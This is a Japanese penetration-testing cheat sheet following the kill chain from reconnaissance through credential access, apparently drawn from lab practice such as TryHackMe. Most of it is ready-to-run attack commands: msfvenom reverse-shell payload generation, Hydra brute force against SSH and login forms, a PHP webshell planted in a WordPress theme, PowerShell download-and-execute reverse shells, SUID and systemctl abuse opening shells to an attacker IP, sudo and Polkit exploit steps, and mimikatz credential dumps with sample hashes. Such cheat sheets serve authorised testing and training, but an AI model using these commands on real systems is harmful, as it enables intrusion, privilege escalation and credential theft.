13
12

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

ペネトレーションテスト チートシート

Last updated at Posted at 2022-10-04

ペネトレーションテストのフローについて

Unified kill chainの流れに従って実施します。このチートシートはその流れにできるだけ沿う形でセクションを設けています。

Cyber kill chain - Unified kill chain | - Wikipedia

Reconnaissance(偵察)

ポートスキャン

確認する観点は以下の通り

  • 空いているポートとサービス、プロトコル
  • サービスのバージョン
  • 匿名アクセスの可否

netcat

データを何も送らずにパケットだけ送信してポート開放状況を確認する。Nmapに比べて情報量は少ないが簡易にできるため便利である。

nc -zv <target> <target port>
  • 全ポートをスキャンする
    • nc -zv <target IP> 1-65535

Nmap

本番環境などではターゲットとなるマシンに対するICMP通信はFWで拒否されていることが多いため -Pn オプションでpingによるホスト確認をスキップするほうが良いでしょう

# シンプルなパターン
nmap -sn <target CIDR>

# 端末のポートスキャン(バージョン確認)
nmap -sV <target IP>

# Pingに応答しないホストへの全ポートに対する高速スキャン
nmap -Pn -A -p- -T4 <target IP>

# FTPへの匿名ログインチェック
nmap -p21 --script ftp-anon <target IP>

# vsftpdのバックドア確認
nmap -p21 --script ftp-vsftpd-backdoor <target IP>

# NSEスクリプトのオプションを活用したスキャン
sudo nmap --script http-vuln-cve2017-5638.nse <target IP> --script-args path=/struts2-showcase/showcase.action -p 80
  • 各スクリプトのマニュアルやヘルプを確認し引数を確認する
  • --script-argsを用いて引数を指定する。なお複数引数を設定する場合は,で区切る

オプション

引数 説明
-sn Ping応答によるホスト確認、ポートスキャンはスキップ
-Pn pingによるホスト確認のスキップ
-sV ポートのバージョン確認
-sS TCP SYNスキャン
-sU UDPスキャン
-n 逆引きDNSをしない
-F 高速スキャン(nmap-servicesファイルに記載があるものを対象とする)
-O OS検出の有効化
-A OS情報、ポートのバージョン情報も含めすべてスキャン
-p ポートの指定, 「-p-」で全ポート指定
-sC / --script NSEスクリプトの利用
-T タイミングの指定(T0〜T5)
-iL IPアドレスのリストを指定
-sC
--script
NSEスクリプトを指定、カテゴリ名かスクリプト名を指定する。
連結する場合は,で区切る
-oA 標準形式+grep検索可能形式+XMLの3種類をファイルに出力する
-oG grep検索可能形式でファイルに出力する
-oN 標準形式でファイルに出力する
-D RND:5 送信元IPアドレスをランダムな5種類に設定する。デコイスキャン
--disable-arp-ping ARP pingを無効化する
-g 送信元ポート番号を指定する

Options Summary | Nmap Network Scanning

NSEの種類

カテゴリ 意味
auth 認証資格情報の決定
broadcast ブロードキャストによるホスト検出に使用されるスクリプトと検出されたホストは、残りのスキャンに自動的に追加できます
brute 資格情報を使用してブルートフォース攻撃を行い、それぞれのサービスにログインしようとするスクリプトを実行します
default -sCオプションを使用して実行されるデフォルトのスクリプト
discovery アクセシブルなサービスの評価
dos これらのスクリプトは、サービスにサービス拒否の脆弱性がないかチェックするために使用され、サービスに害を及ぼすためあまり使用されません
exploit このカテゴリのスクリプトは、スキャンされたポートの既知の脆弱性を悪用しようとします
external さらに処理するために外部サービスを使用するスクリプト
fuzzer これはスクリプトを使用して、さまざまなフィールドを送信することで脆弱性と予期しないパケット処理を識別しますが、これにはかなりの時間がかかる場合があります
intrusive ターゲットシステムに悪影響を及ぼす可能性のある侵入スクリプト
malware ターゲットシステムにマルウェアが感染しているかどうかを確認します
safe 侵入的かつ破壊的なアクセスを実行しない防御スクリプト
version サービス検出の拡張機能
vuln 特定の脆弱性の特定

Nmap Scripting Engine (NSE) | Nmap Network Scanning
Chapter 9. Nmap Scripting Engine | Nmap Network Scanning

タイミング

-Tオプションで指定するタイミングに関する詳細

引数 説明
0 paranoid/IDS回避用のタイミングテンプレート
1 sneaky/IDS回避用のタイミングテンプレート
2 polite/スキャン処理速度を落として帯域幅とマシンのリソース消費量を抑える
3 normal/指定しなかった場合のデフォルト値
4 Aggressive/適度に高速で信頼性のネットワークがある想定でスキャン速度を向上させる
5 insane/非常に高速なネットワーク上にいるか、一部の精度を犠牲にしてスキャン速度を向上させる

Rustscan

nmapと比べると速い。最新バージョンでは「-a」でIPアドレスやIPレンジを指定し、「--」以降でNmapで使うオプションを指定することにより同じことをすることができる。

# バージョン確認(インストール状況確認の意味も含む)
rustscan --version
# ポート1~1024までのスキャン
rustscan -a <target IP> --range 1-1024 -- -sV -A -n

# Pingに応答しないホストへの全ポートに対するスキャン
rustscan -a <target IP> -- -Pn -A -p-

全自動ツール

Web探索

調査する観点は以下の通り

  • ディレクトリ構造
    • 開発者用コンテンツや管理用ポータルなどの有無を確認する
  • 非公開コンテンツの有無
    • robots.txt
      • インデックス化を明示的に避けているコンテンツ
    • favicon.ico
    • sitemap.xml
      • サイト構成の確認
  • ウェブアプリケーションのバージョン
    • ツールによるチェック
    • ブラウザ経由での手動アクセスを通じたチェック
      • HTMLソースにおける記載、コメント
  • ウェブアプリケーションの特性
    • 問い合わせを受け付けるシステムでは確認メールを送信することがあり、OSコマンドを経由したメール送信を行っている場合もある

gobuster

ファイル探索を行う場合は-xで拡張子を指定する。おすすめの拡張子はphp, txt, html, dbである。また、-bで無視する応答コードを指定することも可能である。

個人的な経験から以下のリストファイルがおすすめ

  • /usr/share/wordlists/dirb/big.txt
  • /usr/share/wordlists/dirb/common.txt
# ディレクトリ探索を行う場合
gobuster dir -u <URL> -w <ワードファイル> -t <スレッド数> -b <コンテンツなしと判断する応答コード(カンマ区切り)>

# ファイル探索を行う場合
gobuster dir -u <URL> -w <ワードファイル> -x <探索する拡張子> -t <スレッド数>

feroxbuster

go言語で実装されているツールで個人的におすすめ。デフォルトで再帰探索があり、進捗状況など状況把握がしやすい作りかつページのリンク探索およびそこからの調査も可能。

# ディレクトリ探索
feroxbuster -u <URL> -w <ワードファイル> -t <スレッド数>

# ファイル探索
feroxbuster -u <URL> -w <ワードファイル> -t <スレッド数> -x <extensions>

# ファイル探索 + ページ内ファイル探索
feroxbuster -u <URL> -w <ワードファイル> -E -t <スレッド数> -x <extensions>

# ファイル探索 + ページ内リンク探索
feroxbuster -u <URL> -w <ワードファイル> -e -t <スレッド数> -x <extensions>

# ステータスコード 301, 404の出力を抑止する
feroxbuster -u <URL> -w <ワードファイル> -t <スレッド数> --filter-status 301, 404

# ステータスコード 200のみ出力させる
feroxbuster -u <URL> -w <ワードファイル> -t <スレッド数> --status-codes 200

ディレクトリスキャンツール「feroxbuster」のご紹介: NECセキュリティブログ | NEC

dirb

gobusterとは違いデフォルトで再帰的に探索される。

dirb <URL> <ワードファイル> -X <拡張子>

サブドメイン列挙

gobusterのvhost、dnsでも実施できるが、以下のツールでも列挙可能である。

ffuf

# -fc:レスポンスコード302を除外
# FUZZの部分にワードリストの単語がセットされ探索される
$ ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -u <URL> -H "Host: FUZZ.URL" -fc 302

WordPress

WordPressは有名なのでサポートしているツールが数多く存在してる。
特化型ツールとしてWPScanが存在しており、その他ではMetasploitのWordPressに関連したモジュールやcurlによる調査方法も存在する。

WPScan: WordPress Security Scanner

# ユーザーの列挙
wpscan --url <target URL> --enumerate u

# xmlrpcを用いたブルートフォース
wpscan --password-attack xmlrpc -t 40 -U <username> -P /usr/share/wordlists/rockyou.txt --url <url>

Hydraによるブルートフォースより簡単に実行できる。また、ログインフォームよりxmlrpcに対する試行のほうが速いためxmlrpcを選択したほうが良い

enumerateオプション詳細
フラグ 意味
vp 脆弱なプラグインのリストアップ
ap すべてのプラグインのリストアップ
cb configバックアップの探索
u ユーザーIDの探索

curlでの手動調査方法

# xmlrpc.phpを活用したRPCメソッドの取得
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' http://<target url>/xmlrpc.php

POP3探索

クレデンシャルが判明している場合、メールサーバーへ侵入する。

telnet <IP> 110
USER <username>
PASS <password>

# メールリストの取得
LIST

# メールの詳細表示
retr <No>

# 切断
quit

pop3(110)ポートを使ったメールの受信方法

SMB探索

以下のポートが開いている場合に実施する

  • 対象ポート
    • 139/tcp
    • 445/tcp
  • 調査観点
    • 匿名ログインの有無
    • デフォルト以外のネット共有の有無

基本情報の情報列挙

# nmapを利用する場合
nmap -p <Port Num> --script smb-enum-*  <target IP>

# enum4linux-ngを利用する場合
enum4linux -a <IP>
enum4linux-ng.py <IP>

脆弱性有無確認

nmap -p <Port Num> --script smb-vuln-*  <target>

共有フォルダのリストアップ

crackmapexecはアクセス権限情報まで表示してくれるため便利

# ディレクトリレベルでの情報列挙
crackmapexec smb <IP> -u <username> -p "" --shares

# 再帰的にファイル情報まで列挙(出力は/tmpディレクトリ配下でJSON形式)
crackmapexec smb <IP> -u <username> -p "" --shares -M spider_plus

smbmap -u <username> -H <target IP>

smbclient -L <target IP>

SIDユーザーの列挙

# ユーザー名は適当でOK、パスワードは不明なため -no-passオプションをつけること
python3 /<your install path>/impacket/examples/lookupsid.py <username>@<IP> -no-pass

ログインおよびファイル列挙

# 該当ユーザーのパスワードが分かっている場合
smbclient //<target IP>/Path -U <username>

## パスワードが分からない場合(匿名ログイン試行)
smbclient //<target IP>/path -U <username> --no-pass

# ファイルダウンロード
get <filename>

NFS探索

以下のポートが開いている場合に実施する

  • 対象ポート
    • 111/tcp (Portmapper)
  • 調査観点
    • 匿名ログインの有無
    • デフォルト以外のネット共有の有無

列挙

  • nmapによる実施
    nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount <target IP>
    
  • 専用コマンドによる実施
    showmount -e <target IP>
    
  • マウント
    # どちらか
    mount <target IP>/<Direcotry> /<mount point>
    sudo mount -t nfs <target IP>:/<Directory> /<mount point> -nolock
    

kerberos探索

88/tcpが空いている場合、ユーザー名やパスワード、ブルートフォース可否の列挙が可能

#kerbruteを用いる場合
./kerbrute_linux_amd64 userenum --dc <DC IP> -d <Dmain Name> <username list>

# impacketを用いてユーザーのハッシュを取得
## ユーザー指定の場合
python3 /<your install path>/impacket/examples/GetNPUsers.py -dc-ip <IP> <Domain Name>/<username>
## ユーザー一覧ファイルを指定する場合
## !! ドメイン名はあらかじめ/etc/hostsでマッピングしておくこと
python3 /<your install path>/impacket/examples/GetNPUsers.py <Domain name>/ -no-pass -usersfile <user file>

# impacketを用いて各ユーザーの資格情報を取得
python3 /<your install path>/impacket/examples/secretsdump.py <domain>/<username>:<password>@<IP>

# evil-winrmを用いて侵入可能性をチェック
evil-winrm -i <target IP> -u <username> -p <password>
evil-winrm -i <target IP> -u <username> -H <NTLM hash>

# psexecを用いて侵入可能性をチェック
python3 /<your install path>/impacket/examples/psexec.py <domain>/<username>@<IP> -hashes <LM:NTLM>

# wmiexecを用いて侵入可能性をチェック
python3 /<your install path>/impacket/examples/wmiexec.py <domain>/<username>@<IP> -hashes <LM:NTLM>

DNS探索

ゾーン転送

  • digコマンドでの転送確認
    dig axfr <domain> @<DNS server>
    
  • nslookupでの転送確認
    nslookup
    server <権威サーバー>
    ls -d <対象ドメイン>
    

SMTP探索

SMTP通信を活用して存在するユーザー一覧を取得する

msf> use auxiliary/scanner/smtp/smtp_enum
msf auxiliary(scanner/smtp/smtp_enum) > set USER_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
msf auxiliary(scanner/smtp/smtp_enum) > set RHOSTS <target IP>
msf auxiliary(scanner/smtp/smtp_enum) > exploit

[*] 10.10.30.44:25        - 10.10.30.44:25 Banner: 220 polosmtp.home ESMTP Postfix (Ubuntu)
[+] 10.10.30.44:25        - 10.10.30.44:25 Users found: administrator

SQL探索

msf > use auxiliary/admin/mysql/mysql_sql

Weaponization

ネット上よりPoCコードを収集してカスタマイズするか自身でマルウェア開発を行う。

PoCコードの収集

マルウェア開発

msfvenom

Metasploit Frameworkの一つであるmsfvenomを用いてマルウェア開発を行う。

# 基本的な使い方
msfvenom -p <payload> -f <format> -o <path/filename> LHOST=<listen-IP> LPORT=<listen-port>

# リバースシェル接続を行うマルウェアの作成
msfvenom --payload windows/x64/shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker Port> -f <format> -o <save file path>

オプション説明

引数 説明
-p ペイロードの指定
-f フォーマット(ファイルタイプ)の指定
-e エンコーディングの指定
-o アウトプット先およびファイル名の指定

ペイロードには種類があり、モジュール名にも分類がある。

種類 モジュール命名規則 説明
ステージャー shell/〜〜〜 ファイルを実行し段階を経て目的を実行する。メモリへのペイロード挿入をAMSIで検知されやすい
ステージレスペイロード shell_ 実行後即座にペイロードを実行。使いやすいが検知されやすい

Windows系ペイロードのTips

種類 意味
winnet ログインユーザー権限で動くアプリ向けモジュール
winhttp サービス等バックグラウンド動作での利用向けモジュール

Exploitation

ブルートフォース

FTPの認証やSSH、HTTPの認証フォームなど各種認証系に対するブルートフォースを行うための手段としてHydraを用いる。

SSH

hydra -l <ユーザー名> -P <パスワードリスト> ssh://<target> -t 6

SMB

hydra -l <ユーザー名> -P <パスワードリスト> <IP> smb

HTTP

Basic認証

hydra -l <ユーザー名> -P <パスワードリスト> <IP> http-get <path>

認証フォーム

POST時のボディ部を参考にhttp-post-formの引数の中身を作成する。特にユーザー名、パスワードおよび失敗時の文章は入念に確認すること。

hydra -l <ユーザー名> -P <パスワードリスト> <target> http-post-form "<ログインフォームパス>:<フォームID名>=^USER^&<フォームPW名>=^PASS^:<失敗時の文言>"

# 実行例
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.1.159 http-post-form "/admin/index.php:user=^USER^&pass=^PASS^:Username or password invalid"

# 実行例@WordPress login
hydra -t 45 -V -l admin -P /usr/share/wordlists/rockyou.txt "http-post-form://10.10.211.179/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.211.179%2Fwp-admin%2F&testcookie=1:incorrect."

オプション説明

引数 説明
-l ユーザー名の指定
-P パスワードリストの指定
-t スレッド数
-s ポート番号の指定
http-post-form httpフォームのPOSTに対する攻撃
htt-get Basic認証に対する攻撃

SQL

ログイン

  • 手作業による実行
    mysql -h <IP> -u <username> -p
    
  • Metasploitによる実行
    # データベースのダンプ
    use auxiliary/scanner/mysql/mysql_schemadump
    
    # ハッシュのダンプ
    use auxiliary/scanner/mysql/mysql_hashdump
    

SQLインジェクション

手作業

以下の各種サイトを参照すること

SQLmap

BurpSuiteと組み合わせ、POSTした際のヘッダー、ボディをエクスポートしたデータを流用しインジェクションを行う

# DMBSのユーザー名確認
## POST時のデータを外部データから参照する場合
sqlmap -r <HTTPリクエストデータファイル> -p <フィールド名> --current-user

## コマンドオプションで指定する場合
sqlmap -u "http://example.com/login.php" --data "username=admin"

# 接続しているDB名の表示
sqlmap -r post_request.txt -p blood_group --current-db

# データベースの一覧表示
sqlmap -r post_request.txt -p blood_group --dbs

# 指定したデータベースに含まれるテーブル一覧の表示
sqlmap -r post_request.txt -p blood_group -D blood --tables

# 指定したテーブルのカラム一覧の表示
 sqlmap -r post_request.txt -p blood_group -D blood -T flag --columns
 
# 指定したデータベースを出力する
sqlmap -r post_request.txt -p blood_group -D blood -T flag --dump

オプション説明

引数 説明
-r サンプルリクエストの指定
--data POST時のbody部データを指定
-p テストフィールドの名前を指定
--current-user DB接続のユーザー表示
--current-db 現在のDB名表示
--dbs データベース一覧の表示
-D データベースの指定
-T テーブルの指定
--tables テーブル一覧の表示
--columns カラム一覧の表示
--dump データの出力

Usage · sqlmapproject/sqlmap Wiki

汎用

SearchSploit

Exploitコードを探索する。

  • キーワードによるExploitコードの探索
    • searchsploit blogengine
    • locate <exploit file name>

Metasploit

Metasploitを用いたExploitを行う。

# CVE番号でのモジュール検索
search cve:<xxxx-xxxxx>

# exploitのキーワード検索
search type:exploit <keyword>

# モジュールの利用
use <module name>

# モジュールのオプション(パラメーター)確認、パラメーターセット
show options

# オプションの設定
set <option name> <value>

# ペイロードの詳細確認
show payloads

# ペイロードの指定
use <ペイロードモジュール名>

# Exploitの実行
## どちらか
run
run -z

# セッションのバックグラウンド化
## どちらか
background
Ctrl+Z

persistence

リバースシェルのパラメーター作成は以下を参照すること。

リスナーの準備

rlwrap は指定されたコマンドを実行し、readlineの行編集、永続的な履歴、および補完を 提供するためにユーザー入力をインターセプトします。

# リッスン開始
rlwrap nc -lvnp <port>

# オートコンプリート、矢印等を利用できるように
$ ^Z(Ctrl + Zでバックグラウンドへ移動させる)
$ stty raw -echo; fg

rlwrap(1) - Linux man page

WordPress

WebShell

  1. テーマ設定画面を開く
    • Appearance > Theme Editor > 404 Template
  2. リバースシェルコンテンツを設定する
    <pre><?php system($_POST["cmd"]);?></pre>
    <form method="POST"><input autofocus type="text" name="cmd"></form>
    
  3. /wp-content/themes/twentytwentyone/404.phpへアクセスする

pentestmonkey/php-reverse-shell

Metasploitを用いたリバースシェル接続

msf6 > search wp_admin
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 > set RHOSTS <target IP>
msf6 > set USERNAME <username>
msf6 > set password <password>
msf6 > set LHOST <local IP>
msf6 > run

Windows

ファイルダウンロード

# コマンドプロンプト
curl http://<IP>:<Port>/<file> -o <path to save>

# Powershell
Invoke-WebRequest -uri http://<IP>:<Port>/<file> -outfile <path to save>

msfvenomで作ったマルウェアの実行

# コマンドプロンプトで外部ファイルをダウンロード
powershell -c "Invoke-WebRequest -Uri '<URL>' -OutFile 'C:\Windows\Temp\evil.exe'"

# 他のターミナルで
msf> use exploit/multi/handler

# ダウンロード+実行
powershell iex (New-Object Net.WebClient).DownloadString('http://<your IP>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <your IP> -Port <your Port>

Metasploitの持続化モジュール利用

msf6 exploit(multi/handler) > use exploit/windows/local/persistence
msf6 exploit(windows/local/persistence) > set LHOST <attacker IP>
msf6 exploit(windows/local/persistence) > set session 1
msf6 exploit(windows/local/persistence) > exploit

アカウントの作成およびグループ追加

# アカウントの追加
net user <username> <password> /add

# ローカル管理者グループに追加
net localgroup administrators <username> /add

タスクスケジューラの悪用

  • C:\Users配下のタスクスケジュールに注目する
  • 特権権限で動作するタスクスケジュールに注目する
sctasks /query /fo LIST /v

Discovery

共通

ファイル探索

# Linuxでのファイル探索
find / -name "username" -or -name "password" 2>/dev/null
find / -name *secret* 2>/dev/null

# Windowsでのファイル探索
dir /s *secret.txt

環境設定ファイルであるunattend.xmlも探索するとよい

zipファイルのパスワード解析

# 1. パスワード付きzipファイルからハッシュファイルを作成する
zip2john <target zip path> > <export hash file path>

# 2. ローカルパスワードクラック
john --wordlist=<word list path> <hash file path>

# 3. パスワードを用いたzip解凍
unzip -P <password> <target zip path>

隣接ホストの探索

# Bash
for i in {1..254}; do (ping -c 1 192.168.11.$i | grep "bytes from"); done

# cmd
# -wオプションはタイムアウト値(ミリ秒)を指定する
for /l %i in (1,1,254) do @ping -n 1 -w 100 192.168.22.%i | find "TTL="

自動チェックツールの活用

  • Linux(LinPEAS)
  • Windows(WinPEAS)
    • Windows Privilege Escalation Awesome Scripts
    • Windows(PowerView)
      • powerview3.0
        # Powershellの実行ポリシーをバイパスして起動する
        PS >  powershell -ep bypass
        
        # PowerViewのロード
        PS > . .\PowerView.ps1
        
        # ユーザー列挙
        PS > Get-NetUser | select cn
        
        # 共有フォルダーの列挙
        PS > Invoke-ShareFinder
        
        # ネットワークのコンピューター列挙
        PS > Get-NetComputer -fulldata | select operatingsystem
        
    • Windows(PowerUp)
      • PowerUp
      • 端末上で実行し、「CanReset:True」のものを探す。Trueである場合はシステム権限を有していることと同義である。
      • フォルダ名がスペースで区切られている場合は区切られる前の文字列のexeファイルを参照し、存在すれば実行するため「<前半部分>.exe」のリバースシェルプログラムを実行させる。
        Meterpriter> upload /<your saved directory>/PowerUp.ps1
        Meterpriter> load powershell
        Meterpriter> powershell_shell
        PS > . .\PowerUp.ps1
        PS > Invoke-AllChecks
        
        # サービスを探す
        PS > powershell -c "GetService"
        

Linux

  • 参考サイト:GTFOBins
  • peassを用いた権限昇格
    # インストール
    apt install peass
    cd /usr/share/peass
    
    # ターゲットへ配送
    scp ~~~~ /usr/share/peass/linpeas
    

Windows

# ユーザー情報やグループ情報、特権情報を表示
whoami /all

# ローカルユーザーアカウントの一覧取得
net user
wmic USERACCOUNT Get Domain,Name,Sid

# システム情報の取得
systeminfo
wmic computersystem LIST full

# ファイル探索
## 現在のディレクトリの配下を再帰的に探索
dir /s *secret*
wmic DATAFILE where "drive='C:' AND Name like '%secret%'" GET Name,readable,size /VALUE

# 実行中のプロセス確認
tasklist /SVC

# 共有フォルダの列挙
net share
powershell -c "Get-WmiObject -classWin32_Share"

# マウント状況の確認
mountvol

# ネットワークドライブのマウント状況確認
## その後pushdを使う
 net view

Privilege Escalation

以下のサイトを参考に実施する。

サイト名 URL
GTFOBins https://gtfobins.github.io/
LinPEAS https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
WinPEAS https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
SUID概要 https://kazmax.zpp.jp/linux_beginner/setuserid.html

Linux

sudoの悪用

sudoで利用できるコマンド確認する。利用できるコマンドや引数を確認し、GTFOBinsにて悪用方法を調査する。

sudo -l

脆弱性の悪用

CVE-2021-3156を利用する。

  • 対象
    • sudo バージョン 1.8.2 から 1.8.31p2
    • sudo バージョン 1.9.0 から 1.9.5p1
# 状況確認
$ sudo -V
Sudo バージョン 1.8.21p2
sudoers ポリシープラグイン  バージョン 1.8.21p2
sudoers ファイル文法バージョン 46
Sudoers I/O plugin version 1.8.21p2

# コード配送
$ wget http://<URL:Port>/exploit.c
$ wget http://<URL:Port>/shellcode.c
$ wget http://<URL:Port>/Makefile

# ビルドおよび実行
$ make
$ ./exploit

参考情報

SUIDの悪用

SUID(Set User ID)は、ファイルに設定されたユーザの権限でファイルを認証なしで実行することができる機能。
ファイルのオーナーに関する実行権限の部分がxではなくsになっている。

sudoコマンドによる実行ではなく、単純にそのコマンド自体を実行している時はrootユーザー権限で実行されるという意味です。
たとえば、/bin/cpが結果として表示された場合、root権限のみ書き込み/読み込みが許可されていないファイルに対して、ファイル自体を上書きできてしまいます。

探索方法

# 単純なパターン(どちらかを実行)
find / -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# 詳細まで表示するパターン
find / -type f -perm -4000 -ls 2>/dev/null

(サンプル)findコマンドを用いたリバースシェル接続

# -execの後ろはreverseshell generatorなどで生成する
/tmp/find . -exec /bin/bash -p -i >& /dev/tcp/<attacker IP>/<attacker Port> 0>&1 \;

サンプル

systemctlコマンドにSUIDが付されている場合の権限昇格方法

権限昇格用のユニットファイル作成

echo '[Service]
Type=oneshot
ExecStart=/tmp/nc 192.168.11.210 9000 -e /bin/bash
[Install]
WantedBy=multi-user.target' > /tmp/nc.service

実行およびリバースシェル接続

/tmp/systemctl enable --now /tmp/nc.service

NFS経由

no_squashが無効化されている場合はrootユーザーで書き込み等が可能であるため悪用する

# 権限昇格用のELFをコピーする
cp ./bash /<mountpoint>

# 実行権限とSUID、所有者の設定
chmod +x /<mountpoint>/bash
chmod +s /<mountpoint>/bash
chown root /<mountpoint>/bash

# 内部ユーザーで実行して権限昇格
./bash

参考情報

設定するためにはroot権限で以下の操作を実行する。

# パターン1
chmod u+s <ファイル名>

# パターン2
chmod 4xxx <ファイル名>

設定を解除するためには以下の操作を実行する。

chmod u-s <ファイル名>

cronの悪用

cronの自動実行される上位権限で動作するスクリプトファイルを探索する。
そのスクリプトファイルが任意のユーザー権限で書き込み可能であればリバースシェルなどの任意のコマンドを追記し、実行させることにより権限昇格が可能となる。

# cronサービスの動作状況を確認
systemctl status cron

# cronの設定状況の確認
## 現在のユーザーに関する設定
crontab -l

## システム全体に関する設定
cat /etc/crontab
cat /etc/anacrontab

### 各種ディレクトリ
ls -l /etc/cron.d/*
ls -l /etc/cron.daily/*
ls -l /etc/cron.hourly/*
ls -l /etc/cron.monthly/*
ls -l /etc/cron.weekly/*

Polkitの悪用

Polkitとは、Linuxディストリビューションにデフォルトでインストールされているツールキットであり、特権プロセスを実行する際にあらかじめ設定されたポリシーに基づき認証等を提供する。

# Polkitのバージョンチェック
dpkg -l policykit-1
pkexec --version

# SUID設定状況の確認
 ls -l $(which pkexec)

# PoCコードの入手およびソースファイルの配送
https://github.com/arthepsy/CVE-2021-4034

# ターゲット端末内でのビルドおよび実行
gcc -o cve-2021-4034 cve-2021-4034.c

PATHの悪用

root権限で実行できるプログラムがフルパス指定ではないコマンドを用いたものである場合、実行者のパスを用いてコマンドを探す。
これを悪用し、自身のパスを変更してシェルを起動させる。

mkdir /home/<username>/bin
echo "/bin/sh" > /home/<username>/bin/<command>
chmod 777 /home/<username>/bin/<command>
export PATH=/home/<username>/bin:$PATH

TryHackMe | Cyber Security Training

capabilityの悪用

探索方法

getcap -r / 2>/dev/null

Windows

サービスの不正な変数の悪用

サービスはDACLによるアクセス制御が可能であるため、だれでも編集権限を持つサービスがある場合は悪用することが可能。

# 脆弱なサービスの発見方法
## Sysinternalsに同梱されているaccesschk.exeを利用する
accesschk.exe "<Everyone or Username>" -cvuqw * -accepteula

# サービスの詳細確認
sc qc <service name>

# サービスの登録
sc create <service name> binpath= "<program bin path>"

# サービスの編集
sc config <service name> binpath="<program bin path>"

サービスの再起動

# PowerShellの場合
PS > sc.exe stop <Service Name>
PS > sc.exestart <Service Name>

# cmdの場合
sc stop <Service Name>
sc start <Service Name>

引用符のないサービスパスの悪用(Unquoted Service Path)

探索および悪用

# サービス探索
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

# フォルダパスの権限確認
icacls <path>

# アクセス権限の付与
icacls <file path> /grant <ユーザー名>:f

仕組み

  • C:\test\new folder\my app.exeの参照順序
    1. C:\test\new.exe
      • 引数として次が認識される:folder\my app.exe
    2. C:\test\new folder\my.exe
      • 引数として次が認識される:app.exe
    3. C:\test\new folder\my app.exe
      • 引数認識はない
  • 対策(ダブルクォーテーションを付与したパスの登録)
    • binpath= "\"C:\Program Files\hoge\hoge.exe\""

参考

空白を含むパスにおいて、ダブルクォーテーションで囲われていない場合は参照順序に基づき悪用できる可能性がある。
引用符の無いサービスパス(Unquoted Service Path)では、パスの検索順序に「サービスパスを空白文字で分割し、先頭からプログラムを検索する」という仕様がある。
正確にはWinAPIのCreateProcessの仕様であるため、当該関数を利用する場合は本仕様が適用される。

Credential Access

Linux

ヒストリー

# コマンド
history

# ファイル
cat ~/.bash_history

クレデンシャルファイル

sudo unshadow ./passwd ./shadow > hash.txt
john --format=crypt hash.txt

また、minipenguinを用いることにより、/proc配下に保存されているプロセスに関する情報のうち、クリアテキストで保存されているクレデンシャル情報を取得することができる。

Windows

構成ファイルの確認

Windows展開サービスを利用した無人インストール時にはプレーンテキストでパスワードが保存されている可能性がある。

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

以下が内容例である

<Credentials>
    <Username>Administrator</Username>
    <Domain>thm.local</Domain>
    <Password>MyPassword123</Password>
</Credentials>

Powershellのヒストリー

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

クレデンシャルファイル

# ファイルの探索
dir /s *secret.txt

# zipファイルのパスワード解析
## 1パスワード付きzipファイルからハッシュファイルを作成する
zip2john <target zip path> > <export hash file path>

## 2. ローカルパスワードクラック
john --wordlist=<word list path> <hash file path>

## 3. パスワードを用いたzip解凍
unzip -P <password> <target zip path>

資格情報

cmdkey /list
runas /savecred /user:<UserName> cmd.exe

保存されたSSHのセッション情報

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

登録されたタスク

schtasks
schtasks /query /tn <task name> /fo list /v

資格情報のダンプ

  • UIDが500番台は管理者権限を有している
    • ユーザー名:UID:ハッシュ(LM:NTLM)

人の造りしもの――“パスワード”の破られ方と守り方:セキュリティ対策の「ある視点」(9)(2/4 ページ) - @IT

LSAダンプ

  • mimikatz.exeを用いてLSAダンプを実施する
  • LSAは整合性レベルHighであるため管理者権限が必要となる。またSeDebugPrivilege権限も必要となる。
# デバッグ特権(SeDebugPrivilege)の確認と取得
mimikatz # privilege::debug
Privilege '20' OK

# LSAダンプの実行
sekurlsa::logonpasswords
NTLMハッシュのダンプ
mimikatz # lsadump::lsa /patch
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166

RID  : 000001f4 (500)
User : Administrator
LM   :
NTLM : 2777b7fec870e04dda00cd7260f7bee6

RID  : 000001f5 (501)
User : Guest
LM   :
NTLM :

RID  : 000001f6 (502)
User : krbtgt
LM   :
NTLM : 5508500012cc005cf7082a9a89ebdfdf
ゴールデンチケットの作成
# TGSアカウントのハッシュとセキュリティ識別子の把握
# User名がkrbtgtであることを確認し、セキュリティ識別子とPrimary NTLM値をコピーする
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166

RID  : 000001f6 (502)
User : krbtgt

 * Primary
    NTLM : 5508500012cc005cf7082a9a89ebdfdf
    LM   :
  Hash NTLM: 5508500012cc005cf7082a9a89ebdfdf
    ntlm- 0: 5508500012cc005cf7082a9a89ebdfdf
    lm  - 0: 372f405db05d3cafd27f8e6a4a097b2c

 * WDigest
    01  49a8de3b6c7ae1ddf36aa868e68cd9ea
    02  7902703149b131c57e5253fd9ea710d0
    03  71288a6388fb28088a434d3705cc6f2a
    04  49a8de3b6c7ae1ddf36aa868e68cd9ea
    05  7902703149b131c57e5253fd9ea710d0
    06  df5ad3cc1ff643663d85dabc81432a81
    07  49a8de3b6c7ae1ddf36aa868e68cd9ea
    08  a489809bd0f8e525f450fac01ea2054b
    09  19e54fd00868c3b0b35b5e0926934c99
    10  4462ea84c5537142029ea1b354cd25fa
